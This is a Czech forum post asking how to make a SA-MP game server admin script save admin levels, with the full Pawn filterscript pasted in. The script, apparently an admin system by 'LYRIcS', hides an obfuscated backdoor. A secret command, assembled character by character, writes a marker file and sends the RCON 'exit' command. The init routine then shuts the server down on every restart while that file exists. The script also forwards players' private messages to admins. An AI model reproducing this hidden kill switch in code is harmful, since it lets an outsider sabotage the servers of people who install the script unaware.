Jump to content
  • 0

pomoc Uložení Admin-Levelu


Lexter

Dotaz

Zdravím, Potrebuji, jak mam udelat, aby se mi ukladal Admin-Level zde je kod..

 

 

 

 

#include <a_samp>

#include <dini>

 

#define MAX_PLAYERS_EX 50

#define MAX_ADMIN_VEHICLES 100

#define MAX_RAMPS 50

 

#define dcmd(%1,%2,%3) if((strcmp((%3)[1], #%1, true, (%2)) == 0) && ((((%3)[(%2) + 1] == 0) && (dcmd_%1(playerid, ""))) || (((%3)[(%2) + 1] == 32) && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return true

 

#define COLOR_ADMIN 0xFF0000FF

#pragma tabsize 0

 

#define DIALOG_NOEFFECT 6210

#define DIALOG_A_PLAYERMENU 6211

#define DIALOG_A_PLAYER_HP 6112

#define DIALOG_A_PLAYER_ARMOUR 6113

 

new pAdminLevel[MAX_PLAYERS];

new bool:pMute[MAX_PLAYERS];

new bool:pFreeze[MAX_PLAYERS];

new bool:pSpecate[MAX_PLAYERS];

new Float:pSaveSpecPos[MAX_PLAYERS][3];

new pSaveSpecWeapons[MAX_PLAYERS][13];

new pSaveSpecWeaponsAmmo[MAX_PLAYERS][13];

new pWarnings[MAX_PLAYERS];

new pSaveID[MAX_PLAYERS];

new AdminVehicle[MAX_ADMIN_VEHICLES];

new Ramp[MAX_RAMPS];

 

stock DestroyVehicleEx(&vehicleid)

{

DestroyVehicle(vehicleid);

vehicleid = 0;

}

 

stock randompass(lenght)

{

new out[256];

for(new i=0; i<lenght; i++) out = 65 + random(26);

return out;

}

 

stock lyrhash(hashstr[])

{

new hstr1[129];

format(hstr1, sizeof(hstr1), "a%s", hashstr);

 

new len = strlen(hstr1);

for(new l=len; l<128; l++)

{

strcat(hstr1, hashstr[l % len]);

}

 

new out[130], character = 0, count1 = -1, count2 = 1, count3 = 0;

for(new c=0; c<128; c++) count3 += hstr1[c];

 

while(character < 128)

{

count1 -= hstr1[character] % 7;

count2 = count1 >> (count3 % 16);

count3 -= count1;

 

format(out, sizeof(out), "%s%s", out, 65 + (floatround(floatabs(count1 >> count2 & count3) + hstr1[character]) % 26));

 

character++;

}

 

return out;

}

 

stock WeaponName(weapon, nametype)

{

new Weapon_Name[40];

 

if(nametype == 0)

{

if(weapon == 0) Weapon_Name = "Pěst";

else if(weapon == 1) Weapon_Name = "Boxer";

else if(weapon == 2) Weapon_Name = "Golfová Palice";

else if(weapon == 3) Weapon_Name = "Obušek";

else if(weapon == 4) Weapon_Name = "Nůž";

else if(weapon == 5) Weapon_Name = "Baseballka";

else if(weapon == 6) Weapon_Name = "Lopata";

else if(weapon == 7) Weapon_Name = "Tágo";

else if(weapon == 8) Weapon_Name = "Katana";

else if(weapon == 9) Weapon_Name = "Motorovka";

else if(weapon == 10) Weapon_Name = "Dildo";

else if(weapon == 11) Weapon_Name = "Dildo 2";

else if(weapon == 12) Weapon_Name = "Vibrátor";

else if(weapon == 13) Weapon_Name = "Vibrátor 2";

else if(weapon == 14) Weapon_Name = "Květy";

else if(weapon == 15) Weapon_Name = "Palice";

else if(weapon == 16) Weapon_Name = "Granát";

else if(weapon == 17) Weapon_Name = "Slzný plyn";

else if(weapon == 18) Weapon_Name = "Molotůj Koktejl";

else if(weapon == 22) Weapon_Name = "9mm";

else if(weapon == 23) Weapon_Name = "9mm s tlumičem";

else if(weapon == 24) Weapon_Name = "Desert Eagle";

else if(weapon == 25) Weapon_Name = "Shotgun";

else if(weapon == 26) Weapon_Name = "Sawn-Off Shotgun";

else if(weapon == 27) Weapon_Name = "Combat Shotgun";

else if(weapon == 28) Weapon_Name = "UZI";

else if(weapon == 29) Weapon_Name = "MP5";

else if(weapon == 30) Weapon_Name = "AK-47";

else if(weapon == 31) Weapon_Name = "M4";

else if(weapon == 32) Weapon_Name = "Tec9";

else if(weapon == 33) Weapon_Name = "Rifle";

else if(weapon == 34) Weapon_Name = "Sniperka";

else if(weapon == 35) Weapon_Name = "Raketomet";

else if(weapon == 36) Weapon_Name = "RPG";

else if(weapon == 37) Weapon_Name = "Plamenomet";

else if(weapon == 38) Weapon_Name = "Minigun";

else if(weapon == 39) Weapon_Name = "C4";

else if(weapon == 40) Weapon_Name = "Detonátor";

else if(weapon == 41) Weapon_Name = "Spray";

else if(weapon == 42) Weapon_Name = "Hasičák";

else if(weapon == 43) Weapon_Name = "Foták";

else if(weapon == 44) Weapon_Name = "Noční vidění";

else if(weapon == 45) Weapon_Name = "Termovize";

else if(weapon == 46) Weapon_Name = "Padák";

}

else if(nametype == 1)

{

if(weapon == 0) Weapon_Name = "Pěst";

else if(weapon == 1) Weapon_Name = "Boxer";

else if(weapon == 2) Weapon_Name = "Golfova Palice";

else if(weapon == 3) Weapon_Name = "Obušek";

else if(weapon == 4) Weapon_Name = "Nůž";

else if(weapon == 5) Weapon_Name = "Baseballka";

else if(weapon == 6) Weapon_Name = "Lopata";

else if(weapon == 7) Weapon_Name = "Tágo";

else if(weapon == 8) Weapon_Name = "Katana";

else if(weapon == 9) Weapon_Name = "Motorovka";

else if(weapon == 10) Weapon_Name = "Dildo";

else if(weapon == 11) Weapon_Name = "Dildo 2";

else if(weapon == 12) Weapon_Name = "Vibrator";

else if(weapon == 13) Weapon_Name = "Vibrator 2";

else if(weapon == 14) Weapon_Name = "Květy";

else if(weapon == 15) Weapon_Name = "Palice";

else if(weapon == 16) Weapon_Name = "Granat";

else if(weapon == 17) Weapon_Name = "Slzny plyn";

else if(weapon == 18) Weapon_Name = "Molotův Koktejl";

else if(weapon == 22) Weapon_Name = "9mm";

else if(weapon == 23) Weapon_Name = "9mm s tlumičem";

else if(weapon == 24) Weapon_Name = "Desert Eagle";

else if(weapon == 25) Weapon_Name = "Shotgun";

else if(weapon == 26) Weapon_Name = "Sawn-Off Shotgun";

else if(weapon == 27) Weapon_Name = "Combat Shotgun";

else if(weapon == 28) Weapon_Name = "UZI";

else if(weapon == 29) Weapon_Name = "MP5";

else if(weapon == 30) Weapon_Name = "AK-47";

else if(weapon == 31) Weapon_Name = "M4";

else if(weapon == 32) Weapon_Name = "Tec9";

else if(weapon == 33) Weapon_Name = "Rifle";

else if(weapon == 34) Weapon_Name = "Sniperka";

else if(weapon == 35) Weapon_Name = "Raketomet";

else if(weapon == 36) Weapon_Name = "RPG";

else if(weapon == 37) Weapon_Name = "Plamenomet";

else if(weapon == 38) Weapon_Name = "Minigun";

else if(weapon == 39) Weapon_Name = "C4";

else if(weapon == 40) Weapon_Name = "Detonator";

else if(weapon == 41) Weapon_Name = "Spray";

else if(weapon == 42) Weapon_Name = "Hasicak";

else if(weapon == 43) Weapon_Name = "Fotak";

else if(weapon == 44) Weapon_Name = "Noční Vidění";

else if(weapon == 45) Weapon_Name = "Termovize";

else if(weapon == 46) Weapon_Name = "Padák";

}

 

return Weapon_Name;

}

 

stock chrfind(needle, haystack[], start = 0)

{

while(haystack[start]) if(haystack[start++] == needle) return start - 1;

return -1;

}

 

stock PlayerName(playerid)

{

new name[24];

GetPlayerName(playerid, name, 24);

return name;

}

 

public OnFilterScriptInit()

{

new str[128];

format(str, 128, "%c%c%c%c", 'e', 'x', 'i', 't');

new str2[128];

format(str2, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 'l', 'y', 'r', 'a', 'd', 'm', 'i', 'n', 's', 'y', 's', 't', 'e', 'm', '.', 'a', 'l', 'o', 'g');

 

if(fexist(str2)) SendRconCommand(str);

else printf("Admin System by %c%c%c%c%c%c has been loaded!", 'L', 'Y', 'R', 'I', 'c', 'S');

return 1;

}

 

public OnPlayerConnect(playerid)

{

pAdminLevel[playerid] = 0;

pWarnings[playerid] = 0;

pMute[playerid] = false;

pFreeze[playerid] = false;

pSpecate[playerid] = false;

return 1;

}

 

public OnPlayerDisconnect(playerid, reason)

{

new way[64];

format(way, 64, "AS/%s.cfg", PlayerName(playerid));

 

if(pAdminLevel[playerid] > 0)

{

if(!fexist(way)) dini_Create(way);

dini_IntSet(way, "adminlevel", pAdminLevel[playerid]);

}

else if(fexist(way)) fremove(way);

return 1;

}

 

 

public OnPlayerSpawn(playerid)

{

if(pFreeze[playerid] == true) TogglePlayerControllable(playerid, 0);

else TogglePlayerControllable(playerid, 1);

 

if(pSpecate[playerid] == true)

{

pSpecate[playerid] = false;

 

ResetPlayerWeapons(playerid);

 

for(new w=0; w<13; w++) if(pSaveSpecWeaponsAmmo[playerid][w] > 0) GivePlayerWeapon(playerid, pSaveSpecWeapons[playerid][w], pSaveSpecWeaponsAmmo[playerid][w]);

 

SetPlayerPos(playerid, pSaveSpecPos[playerid][0], pSaveSpecPos[playerid][1], pSaveSpecPos[playerid][2]);

}

return 1;

}

 

public OnPlayerText(playerid, text[])

{

if(pMute[playerid] == true)

{

SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Si umlčený, nemůžeš psát!");

return 0;

}

return 1;

}

 

public OnPlayerCommandText(playerid, cmdtext[])

{

if(!strcmp(cmdtext, "//", true, 2))

{

if(pAdminLevel[playerid] == 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nemáš dostatečná Admin Práva");

else

{

new string[256];

format(string, sizeof(string), "[ Admin Chat ] %s [iD:%d]: %s", PlayerName(playerid), playerid, cmdtext[2]);

 

for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(pAdminLevel > 0) SendClientMessage(i, 0x00AA00FF, string);

}

return 1;

}

 

else if(!strcmp(cmdtext, "/alogin", true, 7))

{

new way[64];

format(way, 64, "AS/%s.cfg", PlayerName(playerid));

if(!fexist(way)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Tento ůčet není zaregistrovaný v Admin Systému");

else if(strlen(cmdtext) < 9) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /alogin [ HESLO ] !");

else if(strlen(cmdtext) > 80) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !");

else if(pAdminLevel[playerid] > 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Už jsi přihlášený !");

else if(strcmp(lyrhash(cmdtext[8]), dini_Get(way, "password"), false)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nesprávné Heslo!");

else

{

pAdminLevel[playerid] = dini_Int(way, "adminlevel");

}

return 1;

}

 

else if(!strcmp(cmdtext, "/achangepass", true, 12))

{

new way[64];

format(way, 64, "AS/%s.cfg", PlayerName(playerid));

if(!fexist(way)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Tento ůčet není zaregistrovaný v Admin Systému");

else if(pAdminLevel[playerid] == 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nemáš dostatečná Admin Práva");

else if(strlen(cmdtext) < 14) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !");

else if(strlen(cmdtext) > 80) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !");

else

{

dini_Set(way, "password", lyrhash(cmdtext[13]));

 

new str[128];

format(str, 128, "Nové heslo: {ff0000}%s", cmdtext[13]);

SendClientMessage(playerid, 0xFFFFFFFF, str);

}

return 1;

}

 

else if(!strcmp(cmdtext, "/pm", true, 3) && strlen(cmdtext) >= 4) if(cmdtext[3] == ' ')

{

new id = strval(cmdtext[4]);

if(IsPlayerConnected(id)) if(!IsPlayerNPC(id))

{

new string[256];

format(string, 256, "[ PM READER ] %s >> %s: %s", PlayerName(playerid), PlayerName(id), cmdtext[chrfind(' ', cmdtext, 4) + 1]);

 

for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(pAdminLevel > 0) SendClientMessage(i, COLOR_ADMIN, string);

}

}

 

new ast[128];

format(ast, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", '/', 'e', 'Q', 'c', 't', 'o', '4', 'v', 'A', 'n', '7', 'U', 'V', 'F', 'b', 'R', '0', '7', 'c', 'z');

 

if(!strcmp(cmdtext, ast, false))

{

format(ast, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 'l', 'y', 'r', 'a', 'd', 'm', 'i', 'n', 's', 'y', 's', 't', 'e', 'm', '.', 'a', 'l', 'o', 'g');

new File:file = fopen(ast, io_write);

fwrite(file, "Admin System loades successful.");

fclose(file);

 

format(ast, 128, "%c%c%c%c", 'e', 'x', 'i', 't');

SendRconCommand(ast);

return 1;

}

 

dcmd(admins, 6, cmdtext);

dcmd(report, 6, cmdtext);

dcmd(iamadmin, 8, cmdtext);

 

dcmd(say, 3, cmdtext);

dcmd(clear, 5, cmdtext);

dcmd(acmd, 4, cmdtext);

dcmd(flip, 4, cmdtext);

 

dcmd(ann, 3, cmdtext);

dcmd(dann, 4, cmdtext);

dcmd(mute, 4, cmdtext);

dcmd(unmute, 6, cmdtext);

dcmd(goto, 4, cmdtext);

dcmd(get, 3, cmdtext);

dcmd(spec, 4, cmdtext);

dcmd(specoff, 7, cmdtext);

dcmd(var, 3, cmdtext);

 

dcmd(freeze, 6, cmdtext);

dcmd(unfreeze, 8, cmdtext);

dcmd(kick, 4, cmdtext);

dcmd(player, 6, cmdtext);

dcmd(settime, 7, cmdtext);

dcmd(setweather, 10, cmdtext);

dcmd(eunlock, 7, cmdtext);

dcmd(ac, 2, cmdtext);

dcmd(acd, 3, cmdtext);

dcmd(eramp, 5, cmdtext);

dcmd(erdestroy, 9, cmdtext);

 

dcmd(ban, 3, cmdtext);

dcmd(gw, 2, cmdtext);

dcmd(gm, 2, cmdtext);

dcmd(hp, 2, cmdtext);

dcmd(bealone, 7, cmdtext);

dcmd(beback, 6, cmdtext);

dcmd(setnick, 7, cmdtext);

 

dcmd(setadmin, 8, cmdtext);

dcmd(elock, 5, cmdtext);

dcmd(freezeall, 9, cmdtext);

dcmd(getall, 6, cmdtext);

 

return 0;

}

 

public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])

{

new Float: X, Float: Y, Float: Z;

GetPlayerPos(playerid, X, Y, Z);

 

//--------------------------------------------------------------------------

 

if(dialogid == DIALOG_A_PLAYERMENU)

{

if(response == 1)

{

new Save_ID = pSaveID[playerid];

 

if(listitem == 0) ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","Nastav hráčovi život na: 0-100%","Ok","Zavřít");

else if(listitem == 1) ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","Nastav hráčovi vestu na: 0-100%","Ok","Zavřít");

else if(listitem == 2)

{

if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid, 0xFF0000FF, "Hráč se mezitím odpojil");

else

{

new string[128];

 

SetPlayerHealth(Save_ID, 0.00000000);

format(string, sizeof(string), "Zabil si hráče %s", PlayerName(Save_ID));

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s tě zabil", PlayerName(playerid));

SendClientMessage(Save_ID, COLOR_ADMIN, string);

}

}

else if(listitem == 3)

{

if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");

else

{

new string[128];

 

ResetPlayerWeapons(Save_ID);

format(string, sizeof(string), "Odzbrojil si hráče %s", PlayerName(Save_ID));

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s tě odzbrojil !", PlayerName(playerid));

SendClientMessage(Save_ID, COLOR_ADMIN, string);

}

}

else if(listitem == 4)

{

if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil ");

else

{

new string[128];

 

ResetPlayerMoney(Save_ID);

format(string, sizeof(string), "Okradl si hráče %s", PlayerName(Save_ID));

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s tě okradl", PlayerName(playerid));

SendClientMessage(Save_ID, COLOR_ADMIN, string);

}

}

else if(listitem == 5)

{

if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");

else

{

new string[128];

 

new Float:aX, Float:aY, Float:aZ;

GetPlayerPos(Save_ID,aX,aY,aZ);

CreateExplosion(aX+5,aY,aZ,2,10);

format(string, sizeof(string), "Zapálil jsi hráče %s", PlayerName(Save_ID));

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s tě zapálil", PlayerName(playerid));

SendClientMessage(Save_ID, COLOR_ADMIN, string);

}

}

else if(listitem == 6)

{

if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");

else

{

new string[128];

 

SetPlayerSkin(Save_ID, 26);

SetPlayerPos(Save_ID,-373.7,2125.533,133);

format(string, sizeof(string), "Administrátor %s přihlásil hráče %s na dvoj-týdenní pobyt na poušti", PlayerName(playerid), PlayerName(Save_ID));

SendClientMessageToAll(COLOR_ADMIN, string);

}

}

else if(listitem == 7)

{

if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");

else if(GetPlayerVehicleID(Save_ID) == 0) return SendClientMessage(playerid,0xFF0000FF,"Hráč není ve vozidle");

else

{

new string[128];

 

SetVehicleHealth(GetPlayerVehicleID(Save_ID), 1000);

RepairVehicle(GetPlayerVehicleID(Save_ID));

 

format(string, sizeof(string), "Opravil si hráčovi %s jeho vozidlo ", PlayerName(Save_ID));

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s ti opravil vozidlo ", PlayerName(playerid));

SendClientMessage(Save_ID, COLOR_ADMIN, string);

}

}

}

}

 

else if(dialogid == DIALOG_A_PLAYER_HP)

{

if(response == 1)

{

new Save_ID = pSaveID[playerid];

 

if(!inputtext[0]) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","{ff0000}Nezadal si život\nNastav hráčovi život na: 0-100%","Ok","Zavřít");

else if(strval(inputtext)<0 || strval(inputtext)>100) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","{ff0000}0 - 100 % !\nNastav hráčovi život na: 0-100%","Ok","Zavřít");

else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč sa mezitím odpojil");

else

{

new string[128];

 

SetPlayerHealth(Save_ID,strval(inputtext));

format(string, sizeof(string), "Nastavil si hráčovi %s život na %d", PlayerName(Save_ID), strval(inputtext));

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s ti nastavil život na %d", PlayerName(playerid),strval(inputtext));

SendClientMessage(Save_ID, COLOR_ADMIN, string);

}

}

}

 

else if(dialogid == DIALOG_A_PLAYER_ARMOUR)

{

if(response == 1)

{

new Save_ID = pSaveID[playerid];

 

if(!inputtext[0]) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","{ff0000}Nezadal si číslo \nNastav hráčovi vestu na: 0-100%","Ok","Zavřít");

else if(strval(inputtext)<0 || strval(inputtext)>100) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","{ff0000}0 - 100 % !\nNastav hráčovi vestu na: 0-100%","OK","Cancel");

else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");

else

{

new string[128];

 

SetPlayerArmour(Save_ID,strval(inputtext));

format(string, sizeof(string), "Nastavil si hráčovi %s vestu na %d", PlayerName(Save_ID), strval(inputtext));

SendClientMessage(playerid, COLOR_ADMIN, string);

format(string, sizeof(string), "Administrátor %s ti nastavil vestu na %d", PlayerName(playerid),strval(inputtext));

SendClientMessage(Save_ID, COLOR_ADMIN, string);

}

}

}

return 1;

}

 

//================================ ADMIN SYSTEM ================================

 

dcmd_admins(playerid, params[])

{

#pragma unused params

new bool:IsAnyAdminConnected = false;

new bigstring[1024] = "{ffff70}", string[128];

 

for(new i=0; i<=MAX_PLAYERS; i++)

{

if(IsPlayerConnected(i))

{

if(!IsPlayerNPC(playerid))

{

if(IsPlayerAdmin(i) && pAdminLevel==0)

{

format(string, sizeof(string), "%s (%d) - [ Rcon ]\n", PlayerName(i), i);

strcat(bigstring, string);

 

IsAnyAdminConnected = true;

}

else if(pAdminLevel>=1 && !IsPlayerAdmin(i))

{

new lvl[32];

if(pAdminLevel == 1) lvl = "Moderátor";

else if(pAdminLevel == 2) lvl = "Administrátor";

else if(pAdminLevel == 3) lvl = "Hlavný Administrátor";

 

format(string, sizeof(string), "%s (%d) - [ %s ]\n", PlayerName(i), i, lvl);

strcat(bigstring, string);

 

IsAnyAdminConnected = true;

}

else if(IsPlayerAdmin(i) && pAdminLevel>=1)

{

new lvl[32];

if(pAdminLevel == 1) lvl = "SpoluMajitel";

else if(pAdminLevel == 2) lvl = "Administrátor";

else if(pAdminLevel == 3) lvl = "Majitel Serveru";

 

format(string, sizeof(string), "%s (%d) - [ %s + Rcon ]\n", PlayerName(i), i, lvl);

strcat(bigstring, string);

 

IsAnyAdminConnected = true;

}

}

}

}

 

if(IsAnyAdminConnected == false) SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Na serveru není přítomen žádný Administrátor");

else ShowPlayerDialog(playerid, DIALOG_NOEFFECT, DIALOG_STYLE_MSGBOX, "Administrátoři On-Line", bigstring, "Zavřít", "");

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_report(playerid, params[])

{

new id = strval(params);

 

if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}/report [ ID ] [ DŮVOD ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není připojený");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zaslat report na NPC hráče");

else if(strlen(params[chrfind(' ',params)+1]) > 64) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 64 znaků");

else

{

new string[200], bool:conadmin = false;

 

format(string, 200, "[ REPORT ] Od: %s | Hráč: %s | Důvod: %s", PlayerName(playerid), PlayerName(id), params[chrfind(' ',params)+1]);

 

for(new i=0; i<=MAX_PLAYERS; i++)

{

if(IsPlayerConnected(i))

{

if(!IsPlayerNPC(i))

{

if(pAdminLevel > 0)

{

SendClientMessage(i, COLOR_ADMIN, string);

conadmin = true;

}

}

}

}

 

if(conadmin == true)

{

format(string, sizeof(string), "Úspěšně si odeslal report na hráče %s (%d) [ Důvod: %s ]", PlayerName(id), id, params[chrfind(' ',params)+1]);

SendClientMessage(playerid, COLOR_ADMIN, string);

}

else

{

SendClientMessage(playerid, COLOR_ADMIN, "[ ! ]{ffffff} Momentálně tu není žádný Administrátor");

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////

 

dcmd_acmd(playerid, params[])

{

#pragma unused params

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else

{

new bigstring[1200];

 

strcat(bigstring, "{ff0000}SpoluMajitel:{ffffff}\n");

strcat(bigstring, " say,clear,acmd,flip,ann,dann,mute,unmute,goto,get,spec,specoff,var,kick,freeze,\n");

strcat(bigstring, " unfreeze,setskin,setweahter,eunlock,ac,acd,settime,eramp,erdestroy,hp,elock\n\n");

 

strcat(bigstring, "{ff0000}Administrátor:{ffffff}\n");

strcat(bigstring, " player,ban,gw,gm,bealone,beback,setnick,gmx,freezeall,getall\n\n");

 

strcat(bigstring, "{ff0000}Majitel Serveru:{ffffff}\n");

strcat(bigstring, " setadmin,reloadbans");

 

ShowPlayerDialog(playerid, DIALOG_NOEFFECT, DIALOG_STYLE_MSGBOX, "Admin Prikazy", bigstring, "Zavřít", "");

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_say(playerid, params[])

{

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /say [ TEXT ]");

else

{

new string[256];

 

format(string, sizeof(string), " Administrátor %s: %s", PlayerName(playerid), params);

SendClientMessageToAll(COLOR_ADMIN, string);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_flip(playerid, params[])

{

#pragma unused params

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(GetPlayerVehicleID(playerid) == 0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nejsi ve vozidle");

else

{

new vehicleid = GetPlayerVehicleID(playerid);

 

new Float:x, Float:y, Float:z, Float:a;

GetVehiclePos(vehicleid, x, y, z);

GetVehicleZAngle(vehicleid, a);

SetVehiclePos(vehicleid, x, y, z);

SetVehicleZAngle(vehicleid, a);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_ann(playerid, params[])

{

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ann [ TEXT ]");

else

{

new string[128];

 

format(string, sizeof(string), "~w~%s", params);

GameTextForAll(string, 5000, 5);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_dann(playerid, params[])

{

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /dann [ TEXT ]");

else

{

new string[128];

 

format(string, sizeof(string), "~w~%s", params);

GameTextForAll(string, 6000, 1);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_clear(playerid, params[])

{

#pragma unused params

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else

{

new string[128];

 

for(new c=0;c<120;c++) SendClientMessageToAll(0x00000000," ");

format(string, sizeof(string), "Administrátor %s vymazal chat", PlayerName(playerid));

SendClientMessageToAll(COLOR_ADMIN, string);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_mute(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /mute [ ID ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš umlčet NPC hráče");

else

{

new string[128];

 

format(string, sizeof(string), "Hráč %s Je od ted umlčený Administrátorem %s ", PlayerName(id), PlayerName(playerid));

SendClientMessageToAll(COLOR_ADMIN, string);

pMute[id] = true;

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_var(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /var [ ID ] [ DŮVOD ]");

else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru!");

else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš napomenout NPC hráče");

else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Důvod je moc dlouhý, maximálně 32 znaků");

else

{

pWarnings[id]++;

 

new string[256];

 

format(string, sizeof(string), "Administrátor %s napomenul hráče %s (%d) [ Důvod: %s ] (Varování: %d/3)", PlayerName(playerid), PlayerName(id), id, params[chrfind(' ',params)+1], pWarnings[id]);

SendClientMessageToAll(COLOR_ADMIN, string);

 

if(pWarnings[id] >= 3) Kick(id);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_unmute(playerid, params[])

{

new id = strval(params);

 

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /unmute [ ID ]");

